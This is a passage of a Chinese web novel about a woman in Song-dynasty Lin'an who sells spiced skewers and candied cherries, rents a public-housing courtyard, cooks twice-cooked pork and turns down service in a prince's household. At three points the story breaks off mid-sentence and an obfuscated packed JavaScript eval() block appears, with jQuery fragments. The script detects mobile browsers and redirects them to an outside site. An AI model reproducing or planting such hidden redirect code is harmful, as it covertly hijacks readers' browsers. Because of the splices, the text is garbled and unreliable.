“殿下,你别生气,临川他是个榆木脑袋。”
宝庆公主虽然身份贵重,但在与谢临川的事情上,总是把自己放得很低,如今王妃又亲自来安慰,她便自己找台阶下了:
“也是,是我自己提议蹴鞠的。”
梁氏继续示好:
“到了晚上,夜市才热闹。吃了晚饭,让临川陪你去中瓦走走,那里的傀儡戏可有意思了。”
宝庆公主含着泪,点了点头。
11. 油卤串串(二)
中瓦,火树银花不夜天。
杨松站在街边,与对面几个青色官服的人挥挥手,转身没入人流。
今夜,是府署财赋司、街道司协同执法的日子。
街道司负责查看摊贩是否占道经营、是否有火灾隐患,等等。
财赋司则查牙帖,看是否有商家无帖、持假帖经营。
他们财赋司,因来了那位爱睡觉的言郎君,人事上有了大的变动。
如今,除了他,当差的几个人年纪都大,成了家、有了孩子,晚上出来就不方便了。
杨松一个人赤条条的,待在家里也没事儿,便主动揽了这差事,也多赚几文值街费。
他这人最是和气,一路走走逛逛,好些熟悉的商贩与他打招呼,他也报以微笑。
快到傀儡戏台了,忽然,杨松闻见了一股特别的香气。
不是或清淡或馥郁的花香,也不是油荤的肉香,而是一种颇为刺激的、似乎有些辣味儿的香。
抬头看,装饰了大红灯笼的豪奢型摊位里,一位窈窕女娘正在忙碌。
摊子外面,站了个小姑娘。
咦,那是——
江清澜心里美滋滋的,这才一会儿,串串都快卖了一半了!
尤其是油卤的素菜串串,好些顾客本是买一串尝尝,结果,人走远了,又倒回来寻。
她的油卤串串,卖的三文钱一串。水果串串也涨了价,最少也两文一串。
现在,钱袋子里,恐怕有三四钱银子了!
正想着,见一位青色官服的郎君迎面走来。
他长着一张和气的团团脸,眉头却微微皱着。
江清澜想起来了,是那个亲民的“税务局公务员”,笑道:“是杨郎君来了。”
团团也甜甜地喊:“杨阿兄——”
她们哪里知道,此时,杨郎君心里有多么苦涩。
杨松与她们点了点头,又打量起这个摊位来:大红的灯笼、宽敞的空间、桌椅板凳、蒸笼灶炉……
豪奢型摊位收成了紧凑型的钱,剩下的钱,都是他们垫的!
他垫得最多,足足一两银子!
他得巡多久的街才赚得到啊!
事关言郎君,又不能伸张,打掉了牙只好往肚里咽……
正想着,那位江娘子已举着两个油纸包出来了:
“杨郎君,多亏了你,妾这个摊子才开得起来。这里有两包吃食,是妾自己做的,郎君带回去尝尝。”
杨松忙推辞:“不敢不敢,府署有规定,不可私收商家供奉。”
江清澜是真心感谢他,绝没有想到贿赂二字。
“杨郎君,别客气。什么供奉不供奉的,这几串也就几文钱,我是当送朋友的。你如果尝了觉得好,别忘了替我介绍客人来。”
其实,杨松他们干基层工作的,经常会收到小商贩儿的土特产,不值什么钱。
不涉及银子,府署里也不会干涉,权当是他们工作做得好,人家表示的感谢。
这般想着,那串串又着实诱人——一包辣香扑鼻,引得人满口生津,另一包红红绿绿,还亮闪闪的,似乎是裹着糖衣?——手就接了。
江清澜见状,又介绍道:
“这包是油卤的素菜串串,香中带点儿微辣、微麻,下酒啊下饭,都是很好的。”
“另一包是水果串串,新鲜水果裹了冰糖做的,酸酸甜甜,杨郎君的孩子定喜欢。”
杨松本笑着,听到最后一句倏的大囧,脸一下就红了:
“江娘子说笑了,在下尚未婚配,何来孩子?”
江清澜心里也咯噔一声。
糟了,说错话了!可……实在是,这位公务员长得有点儿……有点儿成熟。
正尴尬着,江清澜想,该说点儿啥,只听有人说道:“哎,是你!”
迎面走来一男一女,一看就是勋贵人家出身。
郎君着油烟墨窄袖圆领襕衫,玉冠束发。英俊流利的脸,在烟火映衬之下,越发好看。
女娘着蜜合色褙子、丁香紫百迭裙,杏眼圆圆,鼻子小巧,很是秀气可爱。
哟,是府署那个帅哥关系户,江清澜点头微笑。
团团本坐着在翻花绳,见谢临川来了,又看呆了。
江清澜忙站在她前面,把这丢人现眼的小花痴挡住了。
谢临川见杨松也在,又道:“你也在。”
杨松吓了一跳,也顾不上有孩子没孩子的囧了,打起了十二分的精神,叉手行了个大礼。
宝庆公主道:“你怎么认识他们?”语气里虽讶异,也带了一丝轻蔑。
这一大一小两个女娘穿着粗布衣服,一看就是市井之人。
男的虽穿着官服,却是青色,品级很低。
但那名大女娘的眼睛异常好看,像是一汪清泉,她不免多看了一眼。
认识,往往跟“朋友”两个字联系在一起。先认识了,才能成为朋友。
在宝庆公主的脑子里,只有同等级的人,才能“认识”,才能成为“朋友”。
是以,看谢临川与这些人熟识,她很惊讶。
其实,谢临川的心思,并不如宝庆公主一般,在江清澜、杨松等人的身上。
一路上,公主与他聒噪个不停,什么哪个颜色的唇脂配哪种裙子、簪芍药花要配什么样式的璞头……他听得脑子嗡嗡的。
走到傀儡戏台前边时,看见那三个人有些眼熟。
他倏的想起,挂红灯笼的摊位,是他亲手办的牙帖。他便想借此机会,把公主的话头岔了去。
他打量了一番小摊:
喜庆的大红灯笼、干净的桌椅、排列整齐的小吃……咦,冰糖樱桃串串?
颗颗红樱桃排在精致的盒子里,玛瑙一般红润。因裹了糖衣,它们在红灯笼光的照耀下,闪耀着莹润的光泽。
奇巧的心思。
他拿起一串,看那个眼睛异常清明的女子:“这个糖衣樱桃,是你做的?”
自然,江清澜听得出宝庆公主语气里的不满。但她并不在意,见谢临川有意,就笑道:
“正是妾做的,只需十文钱一颗。”
谢临川本想让她直接跟他回府,专门做给祖母吃,又觉得宝庆公主在身边,不太方便。
他便想着,反正摊子在这儿,她也跑不掉,待会儿他回了府,再叫平林来请就是了。
“你把这些都包起来,我全要了。”
江清澜眼睛一亮:“好嘞!”麻利地拉着花痴团团回了摊子里,一起去包樱桃。
宝庆公主见状,皱眉道:“你……你吃这个?”
她是娇生惯养长大的,吃东西十分讲究。莫说是外面小摊儿上的东西,便是宫中的东西,换了个御厨做的,她都不吃。
谢临川拿起一个给她看:“殿……”
想到此地人多眼杂,他们又没带几个护卫,便换了个称呼:“阿妹,你尝尝,一定比你以前尝过的好吃。”
宝庆公主本要拒绝,听了“阿妹”两个字,心里甜丝丝的。
“阿妹”并不只指血亲的妹妹,有时候,男子对女子表示亲呢,也称其为“阿妹”。
当下,她便接了樱桃。仔细看了看,确定没有什么尘土秽物,才慢慢送入口中。
先是冰糖外衣的脆。再一嚼,樱桃爆了汁,酸酸甜甜,再混合冰糖的甜,实在美味!
便是宫中的一等樱桃,也没这滋味!
宝庆公主伸长了脖子,也开始认真打量起这个小摊儿来。
江清澜把团团留在里面,不让这花痴出来丢人了,自己用个木匣子装了樱桃出来:
“郎君,一共二十五颗,二百五十文。这匣子五十文,共三百文。”
谢临川随手一掏,掏出个银锭子,与江清澜一手交钱一手交
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626223|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
货。
江清澜一看,眼睛都直了:“这……这银子太多了,我找不开。”
马蹄形的银元宝躺在手心里,闪着银光,散发着巨额财富的钱香味儿。
整整五十两!
谢临川大手一挥:“不用找了。”说罢,要与宝庆公主一起走了。
江清澜心里怦怦跳,只觉得天上的星星都要落下来了。
三百块钱的东西,给了五万块,这简直就是中彩票!
她决定再攻略一下这二位贵客。
她飞快地包了些油卤串串,追上他们:
“郎君、娘子,五十两实在太多了。不如,权当是预支的,以后一年,二位来买东西,都不必给钱。”
宝庆公主看她一眼,心道:你倒自信,怎知我以后还要来?
却听她又说:“这是小摊儿新推出的油卤串串,送给二位尝尝。”
几串藕片、几串豆腐、几串豆皮,还有些蘑菇、木耳。
都灰黑灰黑的,不太好看,是以方才他们没买。
但离得近了,一股独特的浓香扑鼻而来,宝庆公主竟然咽了下口水。
谢临川也闻到了,很难说这是什么香,竟然比丰乐楼的焦炙羊脯还诱人。
心思奇巧。他不免又想起了这几个字,看了那女娘一眼。
江清澜笑道:“这是用秘制香料卤制而成的,模样虽不好看,味道是十足好。只是……”
她特意看了宝庆公主一眼。
“只是味道有些重,有麻有辣。若是口味清淡的人,每次须少吃些,最好,先再水里涮一涮再吃。”
“吃了油卤串串呢,再吃些甜樱桃,也就不辣了。”
宝庆公主听她言笑晏晏,说得诱人,不自觉就点点头。
待与她分别了,手自然就从油纸包里摸了一根出来。是一串木耳,有三四片,俱是黑黢黢的。
木耳片儿卷卷的窝里还藏了些卤汁,香得诱人。
此时,她哪里还想得起公主的娇矜。也忘了方才那人说的,在清水里涮一涮的事儿。呼噜一口,就吞了一片木耳。
“嘶——好辣——”
……
见人回来了,东平王妃梁氏迎出门来。
只见谢临川一副忍俊不禁、要笑不笑的模样。
宝庆公主戴着幕篱,着急要走,吩咐丫鬟:“快快快,收拾东西,回宫!”
丫鬟回:“之前说要晚些,我们连……”
宝庆公主急得跺脚:“回宫!即刻!马上!”
梁氏深恐儿子又惹了公主不高兴,追到轿子前来:“殿下,可是临川又犯浑了?您别生气,我回去好好说他。”
宝庆公主竟然没让轿子停,一边吸气一边说:
“王……妃娘娘,不干他的事,是我自己……我自己。嘶……走快些!”
轿夫脚下发力,一溜烟儿就转到街上,走远了。
东平王妃看着一行人的背影,皱眉不语。
谢临川拎着食盒,正要往祖母的院子去,让王妃拦下了:“你又干了什么事,殿下怎么抬脚便走了?”
谢临川粲然一笑:“她不走干嘛,让大家看她的两片香肠嘴吗?”
香……香肠嘴?王妃不解。
谢临川哈哈大笑:
“我们在路上买了些油卤串串。”
“我说了,回王府来吃。人家女摊主也说了,口味清淡的人要在水里涮一涮再吃,且吃了串串,得吃点甜食解辣。”
“偏她忍不住。看傀儡戏的时候,她就吃了六七串,路上又要吃。”
“我本来给祖母带的,都被吃光了。现在,她嘴巴辣得又红又肿,没脸见人了。”
“母亲,你说这事儿,能怪我吗?”
梁氏愕然:
这……这还是那个最娇惯、最注重容貌,非净水不饮、非洁食不吃的宝庆公主吗?
12. 宋代公租房
谢临川走到清心院,还没进门,就听得一阵哈哈大笑。
谢老夫人正在与夏荫等人玩儿关朴。
她见谢临川拎着食盒来,笑道:
“快来快来,我正赢了钱,买你手里的东西吃。”
夏荫几个人都是老太太跟前的人,说是关朴,其实就是哄老人家高兴。
她们见得少主人来,俱都退下了。
谢临川打开食盒:“祖母请看。”
盒子里红樱桃如宝石一般,璀璨红艳,颗颗都很大。
谢老夫人还记着这樱桃呢,奇道:
“夏荫不是说,那女娘是抱着簸箕卖的,不好找。竟让你找到了?”
谢临川神采飞扬:
“那可不是。今天我陪宝庆去中瓦看傀儡戏,看见了那女娘。她已经行商变坐商了。”
“您猜怎的?她那摊位的牙帖,还是我在临安府署里,亲手办的呢!”
谢老夫人笑道:“那是真巧了。”
拈起一串樱桃,送入口中,又见孙儿取出了食盒上层。
下面竟还放了几串蘑菇、萝卜,颜色有些黄黄灰灰的,不甚好看,香气倒是浓郁。
“祖母,这是油卤串串。”
谢临川也用江清澜的术语介绍。
“香中带着麻辣味,好吃得很。您放心,这些我都用水涮过了,不像刚出锅的那般辣了。”
谢老夫人吃了一串蘑菇,果然麻辣回香,滋味独特。又吃了一串萝卜。还想再吃木耳,让谢临川挡住了。
他想起宝庆公主的囧态,哈哈大笑:“祖母,您先吃些樱桃。过会儿,再吃油卤串串。不然,就像宝庆那傻丫头了。”
当下三两句,把今天宝庆公主的糗事给说了。
谢老夫人也笑,凝视着盒子里的油卤串串,说:
“宝庆公主最是挑剔。连她也受不住这诱惑,说明江娘子的饮食,着实好吃。”
谢临川赞道:
“的确!丰乐楼的东西,来来回回就那些,江娘子的新鲜玩意儿倒多,实在有趣。”
谢老夫人凝神片刻,忽的严肃起来,道:
“我听说,太子赏了一方端砚给你。我记得,你小时候和三皇子玩得好,怎么现在,倒和太子走得近些了?”
谢临川嘿嘿一笑:
“三皇子这个人心机太重,和他说话累得很。太子殿下心地善良,处起来自在些。”
刺的一声,他把油卤串串的竹签扎进桌布里。
“反正我都是玩儿,给他们说些蹴鞠之类的事,无伤大雅。祖母不必担忧。”
谢老夫人却摇了摇头,转而说:“你觉得宝庆公主怎么样?”
谢临川知道她的意思,他父王、母妃知道自己来说不通,就让祖母来问。
当下,他眼神飘忽起来,漫不经心地说:
“无聊得很。她非缠着我说什么簪花、穿衣的事,听得我头都大了。”
谢老夫人却不说尚公主的事儿,只道:
“宝庆贵为公主,你觉得无聊。江娘子市井草民,你却道有趣。你可知,这是为什么?”
谢临川:“自然是因为江娘子在饮食上花了很多心思,宝庆倚仗的,却只是权势。”
谢老夫人叹口气:
“宝庆生来富贵,惯以权势压人。对谁笑一笑,都以为是纡尊降贵了。她哪里知道,百姓在市井里讨生活,有多不容易?”
当年,谢老夫人与第一代东平王谢山,是从底层摸爬滚打上来的,对市井生活很是熟悉。
“我的父亲是农夫。那时候,为了糊口,春种秋收、夏耘冬藏,没有一天闲着的。若是遇上天灾,洪旱蝗虫,颗粒无收,就得饿肚子。”
“幸亏现在官家仁慈,轻税薄徭,还积极赈灾,百姓日子才好过点儿。若是几十年前的乱世,哎,不可说……”
“像江娘子这般的小生意人,也不容易。一则是要交税,喏,其中之一就是你办的牙帖,二则是,如何在同行中脱颖而出?”
“都是卖果子的,为什么你就觉得她的好?只有花心思呀,做梦都得想着这事儿。不然怎么办?她可没有宝庆公主的权势。”
谢老夫人啜了口茶,最后把一根油卤木耳吃了,道:
“祖母说句你不喜欢听的。你虽道宝庆无聊、江娘子有趣,但你自己,也跟宝庆公主是一样的。”
谢临川最烦他父王、母妃唠叨,但祖母的话,他还是听的,当下凝神不语。
……
从清心院出来,已近亥时,外间打起了雨点。谢临川又想起一事,忽的大喊:“平林!”
……
雨淅淅沥沥地下了起来,平林骑着马,火急火燎地赶往中瓦。
傀儡戏台对面的摊子已经空了,几个大红灯笼也熄了火。
平林回去复命:“已经收摊儿了。”
谢临川正在研究火焰队的蹴鞠阵型,见窗外已漫天雨幕,道:
“那你明天再去,左右她摊子在那里。找到人了,就请到家里来。”
但一连三天,平林硬是没有找到人。
一是因为这几日都在下小雨,江清澜没有马车,出摊不方便。二是因为,她在忙着租房子。
那天,那两位贵人兄妹走后,杨郎君神思恍惚着,也很快告辞。江清澜把客人送走后,与团团两个躲在摊位里看银子。
摆摊很是顺利,赚了一大堆铜钱,只她们现在没心思数那个。两双眼睛快要喷火出来,死死盯着藤编凳子——那上面,放着一个马蹄形的银元宝。
团团问:“这是多少钱?”
江清澜:“五十两。”
团团:“五十两是多少?”
江清澜开始数:“荔枝水、樱桃汁、桂花酿、酥油茶、青梅饮、肉粉汤,很多很多。”
团团吸溜口水。
江清澜又道:“回锅肉、鱼头煲、羊肉串、牛肉煲、蜜烧鸡、香烤鸭,很多很多。”
团团吞咽唾沫。
江清澜再道:“热水澡、香胰子、红头绳、绒线花、新衣服、香被子,很多很多。”
团团瞪大眼睛,露出神往之色。
自家里出事以来,她们都是在澡堂子里匆匆解决,好久没有搭上大木桶、撒满香花瓣,痛痛快快地泡过澡了。
“最重要的是,”江清澜有些激动,“我们可以赁屋子了!”
没有蜗居过的人,是不知道拥有一个自己的屋子,是多么的幸福。
偏江清澜知道。
上辈子,她的父母离了婚,各自组建了家庭。从上大学起,她就没怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626224|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回过“家”。因那“家”,也不是自己的。
可学校的宿舍,也不能说是“家”,因为没有私人空间。从大学的八人间,到硕士的四人间,终于熬到了博士,还是两人间。
幸好,她的博士舍友不在学校住,她才真正有了自己的小窝——一个可以放心笑、放心哭的地方。
但才在温馨小窝住了一年,她就穿来了这里,又住进了大通铺。
但是,现在,一切都要变了!
这几天老是下小雨,江清澜与团团打着伞,硬是把城里的楼务店跑了个七七八八,弄清楚了情况。
临安城的房价高,买不起房的人很多。但人,又必须有房子住,这是刚性需求。租房事业应运而生。
跟现代一样,此时的租房也分为府署的公租房、普通人的私租房两种。但不同的是,公租房似乎更多,其制度也更完备。
随便去一个楼店务打听,各种类型的公租房应有尽有。四五百文一月是小单间,几十两银子一月的是大院子。
这些房子,有些是临安府署出资修的廉租房。
有些是百姓借了官债又还不起,被没收抵债的。
还有些,便像江清澜原身家一样,犯了事儿,被查抄充公的。
江清澜她们东看西看,挑花了眼,最后定了城北钱塘门里江米巷的一处小院子。
这个地方离中瓦和西湖都不算远,算是好地段,是以,市价要二两银子。但因是政府公屋,每月只需一两半。
江清澜作为和离女,上无父母公婆,中无家族男兄,下无子嗣依傍,算是“鳏寡孤独”中的“寡人”。
可以单独立“女户”不说,还能享有公屋打折的优惠——江米巷那个院子,只需一两银子。
听楼店务的牙人介绍到这里,江清澜心头窃喜:没想到,离婚还有这好处。
此外,公屋还有一个好处,便是不怕房东随意涨价,或是违反合约,逼人搬迁。
但公屋的坏处,也不是没有。其中之一便是,得长租。租金一次性得交一年的。
故而,光租这院子,她就花了十二两银子。
江清澜两姐妹行李不算多,从楼店务办了手续、拿了江米巷这边的钥匙,草草打扫了院子,就从青莲庵搬了进去。
说是院子,其实只有三间房。院门进来是正厅,左边是厨房,右边则是一件小卧室。
三间屋子与院墙一起,围成个“口”字,这便是院子。
幸好,屋里有些简单的锅灶,余下的东西慢慢置办就是了。
家里出事前,团团小姑娘也是金尊玉贵、呼奴喝婢的,出事后迅速长大了,洒扫、收拾行李,跑来跑去,懂事极了。
这会子,终于搬完了,她累得摊在椅子上,抖动着两只小胖腿儿歇气。
江清澜也累坏了,但心里美滋滋的。这下子,她有了钱,有了房子,腰杆硬了,该满足一下口腹之欲了:“走,我们买肉去!”
“肉?”团团咽了一口吐沫。
住在建隆寺、青莲庵,没法子自己做肉,她好些天没吃上肉了。
听了这句,她猛的从椅子上跳下来。“有肉吃了?”
江清澜眼神坚定、语气铿锵:“有!”
“吃肉!大大地吃!狠狠地吃!猛猛地吃!”
13. 苕皮蒜苗回锅肉
住在江米巷,生活比青莲庵更加方便。
出门便是菜市。
江清澜买了些猪肉、蒜苗、芡粉,以及一些时蔬小菜。
加上给团团买的火烧馍,一共花了三十来文钱。
以她如今的积蓄,这个花销并不算多。于是,走到卖牛羊肉的摊儿前,她又迈不动步子了。
比起猪肉,她更喜欢吃牛羊肉。
以前在学校里,食堂吃腻了,她隔三差五就要去吃牛羊汤锅——养生鲜汤黄牛肉、广东牛肉牛杂煲、老北京涮羊肉。
这些不同风味的牛羊肉,有的清鲜,有的浓郁。有的蘸香喷喷的芝麻,有的配碧油油芫荽。
各有各的曼妙滋味。
跟上辈子一样,此时的牛羊肉,比猪肉贵得多。
刚才她问了,猪肉只需二十文一斤,牛肉却要五十文,羊肉甚至达到了七十文一斤。
饶是如此,看着肉摊儿上,呈玫瑰红色的牛羊肉,江清澜已经脑补了它们做成牛肉火锅、羊肉烧烤时的样子。
团团也眼巴巴地望着。
江清澜本在犹豫,见此场景,一咬牙,唤摊主:“来两斤牛肉、一斤羊肉!”
是谁说要狠狠地吃肉、猛猛地吃肉的?
就要吃!赚钱就是为了吃!
……
回了家,先解决猪肉。她早打算好了,做蒜苗回锅肉吃。
回锅肉是四川的一道名菜。五花肉须先煮后炒,两次入锅,故名“回锅”。
此菜咸鲜油香、重盐重油、微辣回甜,是下酒之精华,佐饭之良品,最适合江清澜她们这种,久没尝肉味儿的人。
有以五花肉配莲花白的,名莲白回锅;有配青椒的,名青椒回锅;而江清澜最爱的,还是苕皮蒜苗回锅。
煮好的五花肉切薄片,让每片都是半肥半瘦。再下锅,以小火爆香。
像江清澜这等厨艺高超的,能熟练掌握油爆肉的火候,能使每一片肉卷成灯盏窝儿状。
成品入口之时,只觉肉质劲道入味,不知瘦肉干柴;只觉油香嫩滑爽口,不知间有肥肉。
这半肥半瘦的肉,再加一溜儿煮得软糯的皮,每多嚼一口,都多一份香。是以,佐饭下酒,越吃越开心。
再说苕皮。它是以红薯粉兑水,入锅烙制而成的。
重庆小吃摊爱以苕皮包裹酸辣萝卜、折耳根、粉蒸肉等物,放炭火上烤,谓之“烤苕皮”。
成都人却爱以之炒回锅肉。
这摊得好的苕皮,薄薄一层,软软糯糯。
在五花肉的油锅里一煎,吸满了花椒、姜片等佐料的香味,以及剁碎了的豆瓣酱熬成的汁水。
立刻变得晶晶亮亮、灰中带红,且十分入味。
还有青蒜苗,也是这道菜的必备。
蒜苗须得白头、青苗皆有,拍后切为斜段,充分暴露出蒜香。在五花肉片、苕皮均炒制好后,才放入。炒几下,断了生就可以装盘了。
这道四川名菜,可谓是色香味俱全。
肉片染了浓郁的豆瓣酱汁,晶莹红亮。苕皮软糯入味儿。蒜苗白青相间,煞是好看。
食材与各种调料的香,更是经久不散,溢满了整间屋子。
江清澜她们中午就吃了个油饼,搬家忙到现在,饿得前胸贴后肚了,就盼着这口油大的。
苕皮回锅肉出了锅,雨也停了,太阳从云里冒了一点儿头。她们端着饭菜,到院子里去吃。
团团虽然饿得慌,江家家教之下,还是很斯文,用筷子夹着吃。
江清澜教她:“这回锅肉的油水最香了,拌饭极为好吃。”
用勺子舀了些,盖在二人碗里的白米饭上。
灯盏窝儿状的回锅肉,Q弹软糯、浅灰半透明的苕皮,油浸浸、绿油油的蒜苗,还有颗颗黑色的豆豉,全盖在了饭上。
那些吸饱了豆瓣酱及各色调料的油汤油水,把香喷喷的白米饭浸得红红的。
江清澜用筷子把菜、肉、饭、油拌了拌,让这些东西囫囵混在一起,道:“团团,你知不知道饕餮是什么?”
团团道:“知道,就是一个很凶的怪兽。”
以前,教养嬷嬷教她,吃饭、喝水要慢慢地吃、斯文地吃,不能太粗鲁。不然,怪兽饕餮就要来把她吃掉。
江清澜摇头:“不对。”忽的猛刨一口饭,大口嚼了,给妹妹看,“这就是饕餮。吃饭的时候当饕餮,可自在了。”
团团瞪大了眼睛,这般吃饭,还是她那个斯文、知礼的姐姐吗?
江清澜知她所想。
她眯着眼睛,抬头看了一眼云层里隐隐的太阳,莞尔一笑:“妹妹,我们都是经历了大变故的人了。”
“有太阳就要晒,有美食就要大口大口地吃!不然,枉来了这人世一遭!”
团团似懂非懂,但也依葫芦画瓢,捧起碗就刨饭。
太好吃了!
她越刨越快,小嘴油油的不说,一粒米还粘在了鼻子上。
江清澜哈哈大笑,帮她把米拈了,道:“在外面,咱们还是斯文些。但进了这个院子,把门一关,咱们就这么吃饭。”
团团嘴里塞满了,说不出话来,只重重地点了头:“嗯!”
——
黄昏时分,中瓦。
傀儡戏台边上,一个着青布衣服的小少年正倚靠着打盹儿。听见吱溜一声响,他猛的惊醒。
对面,有一大一小两个女娘。
扁担竖在侧壁。两个竹篓筐里,各摆着一个大大的食盒,窈窕的女娘正在开门,矮胖的小女娘紧紧跟着。
门是木头做的,年生久了没上油,那声吱溜响,正是开门的声音。小少年见她们来了,瞪大了眼睛,然后飞一般地跑了。
他都等了三天了,终于等到了,快回去告诉平林哥哥!
江清澜两姐妹,却不知道发生了什么,自顾自地收拾着摊子。
刚送走了一波客人,两个少年骑着马来了,到了摊子前,也不下马。
其中一人大喇喇地一挥手:“娘子,你的好运来了,收拾东西,跟我去王府吧!”
江清澜细细打量:他们的头发梳得工整,着的是细布棉衣。胯.下的马矫健昂扬。尤其是,他们的眉间有一股倨傲之色。
高门豪奴。
江清澜自来了此处,一直在努力适应。
封建社会中,等级大过天。普通人之间,交往还是适恰。但贵人阶层对平民,便如前些天的那位紫裙小女娘对他们一般,永远是用鼻孔看人的。
这些豪奴,便是分了主人的权势,也带了倨傲。
其实,平林、陌山作为东平王府世子爷的一等小厮,是该有这份做派的。
常人道:宁娶大家奴,不要小家玉。便是说,大户人家的奴婢,都比小户人家的主子,见的世面多。
这还是女娘。他二人作为郎君,跟在谢世子身边,见的世面更多了。
但江清澜不是常人,眨眨眼:“贵人临贱地,妾不胜惶恐。敢问二位郎君,是哪个王府?”
“哪个王府?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626225|172371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”陌山有点儿无语,他腰上悬着东平王府的牌子,通临安城的人都知道!
这人……也许是外地来的吧。
“便是西湖边上的东平王府。”平林脾气好些,耐心解释。
江清澜思索了一回。刚出陆家那天,在嘉会门外遇见了一群骑马的少年,钱娘子那时候便说,那是东平王府的谢世子……
陌山不耐烦了。
他们东平王府是泼天的富贵之所,旁人挤破了脑袋也进不去,这人竟这般不知好歹?眼珠子滴溜乱转,不知在盘算什么!
当下,他皱眉道:“磨蹭什么?!”俨然一副颐指气使的模样。
平林补充道:“娘子觉得如何?有要求都可以提的。”
江清澜微微一笑,心道:东平王府的人,不管是主子,还是奴仆,都喜欢骑着马耍跋扈呢。
……
二人回了王府。
平林跪在地上:“世子爷,江娘子不愿入府。”
此时,谢临川正在看几天后蹴鞠决赛者的名单,手指在一个姓刘的名字上点了点。
闻得此言,他很是惊讶:“不愿?”
以东平王府的富贵,主子们随手赏的银子,都比外面挣的,多得多。是以,人人求之不得。
便像建隆寺里的那个谁,马上就应了。没想到,竟然还有不愿的。
“可是嫌月钱少?”
“不是不是,”平林忙道,“都给到和我一般的月钱了。只江娘子说……说……”
“说什么?”谢临川最烦人吞吞吐吐。
“江娘子说,非是她不愿,实在是不能。她以前腰和膝盖受过伤,不能躬身,也不能下跪。”
“但在王府里做事,少不得要躬身、下跪的。为免冲撞贵人,她还是不来了。”
“竟有这种事?”
谢临川有点儿不信。怎会有人刚好伤到这两个地方?便是有,那也瘫痪在床了。她分明健步如飞。
“当然有了!”平林急于把自己择出来,信誓旦旦地说,“我原来认识一个人,他从高处摔下来……”
一个纸团扔过来,正中眉心。平林“哎哟”一声,捂住额头。
“扯牛皮呢,扯那么远。”
平林惴惴道:“是。江娘子说,左右她在中瓦,王府的贵人有什么想吃的,直接去买也是一样的。”
“我当时就问她,前几天怎的中瓦没人。她说,是下雨没出摊儿。又说,只要不下雨,她都在中瓦那摊子里。”
“只有逢着盛会、大赛,她要去人多的地方摆摊儿。过两天有蹴鞠赛,她就不去中瓦,而要去西山蹴鞠场。”
对那江娘子,谢临川也不是多有兴趣。他只是好奇,竟有人会拒了东平王府,便多问了一嘴。
当下,听平林颠三倒四地说了一大通,他有点儿不耐烦了。正要让人滚,听到蹴鞠场三个字,他又来了精神。
是了,之前她去府署办牙帖的时候,就在问杨郎君蹴鞠的事儿,为着这个,他还专门站起来看了几眼。
他当是什么,原来是想去摆摊儿,真是掉钱眼儿里了。
他轻蔑一笑,认真看起手里的蹴鞠队员名单来。
窗外花影扶疏,树枝间漏下的天光,在桌上洒下点点斑驳。
忽的,他又想起祖母之前的话:“只有花心思呀,做梦都得想着这事儿。”
他又笑了,露出雪白的牙齿,嘴角两个深深的酒窝。果然,她天天想着赚钱这事儿呢。
“算了,不去管她了。”
14. 冰爽柠檬水(一)
赁了屋子后,江清澜的生活方便多了。
是以,前几日,除了添置锅碗瓢盆、被褥衣裳等必用品之外,她还买了一套笔墨纸砚,并几本闲书。
买书不是为了看,而是为了学写繁体字。
要当好生意人,写字是必不可少的。算账、记账、签契约、写广告,都需要写字。
好在,江清澜底子不错,毛笔字学的柳体,繁体字也认识。
现在,中瓦的生意只做晚上,白天她有大把的时间可以练字。
如此这般,没花几天时间,她已经把常用的繁体字学得差不多了。
这天下午,她在纸上写了好些大字,把骑在门槛上翻花绳的团团喊来:
“阿妹,你认识这几个字吗?”
团团发蒙早,虽然不会写,却认识,歪着头念道:“补充强劲活力,射.门充满能量。”
又看,一张横着的字条上写着“冰爽柠檬水”。
团团思索:“咦,这个柠檬水是什么,好像喝了能让人变强似的。”
江清澜喜上眉梢,广告要的就是这个效果!
她与妹妹解释:“是一种酸甜饮子,蹴鞠员喝了,会更有力气。”
她打听过了,嘉会门外的西山蹴鞠场场内不可售卖正食,只能卖瓜子等零嘴,以及饮子。
但此种限制,不涉及楼上的包厢。毕竟包厢里,都是达官贵人,他们自会请丰乐楼送外卖。
瓜子、饮子等的售卖,赛事主办方并不垄断,场内有临安府署官设的摊位。
只是,瓜子、饮子,再怎么卖也翻不出花样来。
无非就是谁家的炒得更香,谁家的饮子更甜。
再说了,大伙儿的注意力都在场上的比赛,对饮食的需求并不是很大。
但这正给了江清澜机会。
踢足球对体能消耗巨大,卖运动饮料啊!
她打听过了,每场比赛,到后期,都有些蹴鞠员体力不支,甚至被抬下场。
是以,与现代足球赛不同,此时的蹴鞠赛,有特别多的替补队员。
体力不支的蹴鞠员下场后,大夫应对之法也很简单,就是让他们吃东西。
